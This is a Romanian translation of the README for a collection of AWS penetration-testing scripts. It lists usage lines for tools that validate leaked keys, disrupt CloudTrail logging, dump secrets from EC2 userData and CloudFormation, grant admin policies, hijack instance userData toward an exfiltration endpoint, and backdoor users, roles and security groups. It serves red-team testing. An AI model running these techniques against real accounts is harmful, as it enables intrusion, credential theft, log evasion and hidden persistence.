rezumat

Aceasta este o colectie de scripturi oribil scrise pentru efectuarea diferitelor sarcini legate de testarea penetrarii AWS. Te rog sa nu fii trist daca nu functioneaza pentru tine. S-ar putea sa se fi schimbat AWS de cand a fost scris un anumit instrument sau s-ar putea sa fie codul sux. Oricum ar fi, va rugam sa nu ezitati sa contribuiti.

Cea mai mare parte a acestor junk a fost scrisa de Daniel Grzelak, dar au fost o multime de contributii, in special Mike Fuller.

Cerinte

pip install -r requirements.txt

Asigurati-va ca configurati acreditarile aws in ~ / .aws / credentials.

Recunoastere

Lucruri de legat de colectarea informatiilor inainte de compromis

  • validate_iam_access_keys.py – Dat fiind un fisier TSV de combinatii cheie de acces + secret [+ sesiune], verifica validitatea accesului si returneaza informatii de identitate ale directorului.
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
  • validate_s3_buckets.py – Avand in vedere un fisier text cu un cuvant pe rand, verifica daca exista galeti si returneaza informatii de identificare de baza.
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
  • validate_iam_principals.py – Avand in vedere un fisier text al principalilor (de exemplu, utilizator / administrator, rol / implementare), verifica daca principalii exista intr-un cont dat.
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
  • validate_accounts.py – Avand in vedere un fisier text cu ID-uri de cont si aliasuri de cont, verifica daca exista conturi.
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json

Exploatare

Lucruri care va vor ajuta sa castigati un punct de sprijin intr-un cont.

Stealth

Lucruri care va pot ajuta sa ramaneti ascuns dupa compromiterea unui cont.

  • disrupt_cloudtrail.py – Incearca sa intrerupa / strica jurnalul cloudtrail in modul specificat.

Explorare

Lucruri care va vor ajuta sa intelegeti ce ati facut.

  • dump_account_data.sh – Apeleaza o gramada de functii generice de citire / listare / obtinere / descriere bazate pe cont si salveaza datele intr-o locatie data. Foarte zgomotos, dar minunat pentru un instantaneu instantaneu.
./dump_account_data.sh / tmp /

Elevatie

Lucruri care va ajuta sa va deplasati intr-un cont si sa adunati diferite niveluri de acces.

  • dump_instance_attributes.py – Parcurge fiecare instanta EC2 din cont si preia atributele de instanta specificate. Cel mai frecvent utilizat pentru a recupera userData, care tinde sa contina secrete.
./dump_instance_attributes.py -u -o / tmp /
  • dump_cloudformation_stack_descriptions.py – Prelueaza descrierile stivei pentru fiecare stiva existenta si fiecare stiva stearsa in ultimele 90 de zile. Parametrii din descrierile stivei contin adesea parole si alte secrete.
./dump_cloudformation_stack_descriptions.py -o / tmp / data
  • assume_roles.py – Incearca sa-si asume toate rolurile (ARN-uri) dintr-un fisier sau furnizate de API-ul list-roles.
./assume_roles.py -o /tmp/out.json
  • add_iam_policy – Adauga administratorul si toate politicile de actiune unui anumit utilizator, rol sau grup dat. Necesita privilegii IAM putPolicy sau attachPolicy.
./add_iam_policy.py -u myuser -r myrole -g grupul meu
  • bouncy_bouncy_cloudy_cloud – Revine la o anumita instanta ec2 si isi rescrie datele utilizator, astfel incat sa puteti rula codul arbitrar sau sa furati acreditarile temporare ale profilului instantei.
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint

Persistenta

Lucruri care va ajuta sa va mentineti accesul la un cont.

  • rabbit_lambda – Un exemplu de functie Lambda care raspunde la evenimentele de stergere ale utilizatorului creand mai multe copii ale utilizatorului sters.
  • cli_lambda – O functie lambda care actioneaza ca un proxy aws cli si nu necesita acreditari.
  • backdoor_created_users_lambda – O functie lambda care adauga o cheie de acces fiecarui utilizator nou creat.
  • backdoor_created_roles_lambda – O functie lambda care adauga o relatie de incredere fiecarui rol nou creat.
  • backdoor_created_security_groups_lambda – O functie lambda care adauga o regula data de acces la fiecare grup de securitate nou creat.
  • backdoor_all_users.py – Adauga o cheie de acces la fiecare utilizator din cont.
  • backdoor_all_roles.py – Adauga o relatie de incredere fiecarui rol din cont. Necesita editarea fisierului pentru a seta rolul ARN.
  • backdoor_all_security_groups.py – Adauga o anumita regula de acces la fiecare grup de securitate din cont. Necesita editarea fisierului pentru a seta regula.

Exfiltrare

Lucruri care va ajuta sa extrageti si sa mutati datele in moduri AWSy.

  • dynamodump – https://github.com/bchew/dynamodump

Diverse

Alte lucruri pe care le-am fost fie prost sau prea lenes pentru a le clasifica.

  • reserves_words.txt – O lista de cuvinte / jetoane care au o semnificatie speciala in AWS sau care vor avea in curand o semnificatie speciala.
  • endpoints.txt – O lista oarecum actualizata a punctelor finale API expuse de AWS.
  • integrations.txt – Un TSV de servicii care se integreaza cu AWS prin roluri sau chei de acces si ID-urile contului, numele de utilizator implicite etc.
  • download_docs.sh – Linia de comanda pentru a sterge toate documentele AWS pentru ca sunt prost si pierd timpul refacandu-l de fiecare data.

A face

  • Adaugati parole utilizatorilor pentru persistenta
  • Dump resursele stivei
  • Validati mfa
  • Adaugati mai multe apeluri la dump_account_data
  • Adaugati mai multe metode de intrerupere a jurnalului
  • Creati un script de analiza cloudtrail pentru a scoate bunatati din cloudtrail
  • Creati un enumerator de permisiuni bucket s3
  • Creati un instrument pentru a obtine acreditari aws din locurile obisnuite de pe disc
  • Creati un instrument de clonare
  • Creati un instrument prost de escaladare privilege care utilizeaza rolul de acces
  • Validati cozile
  • Validati subiectele de notificare
  • Remediati scripturile de persistenta pentru a utiliza argumente in loc de constante in interiorul scripturilor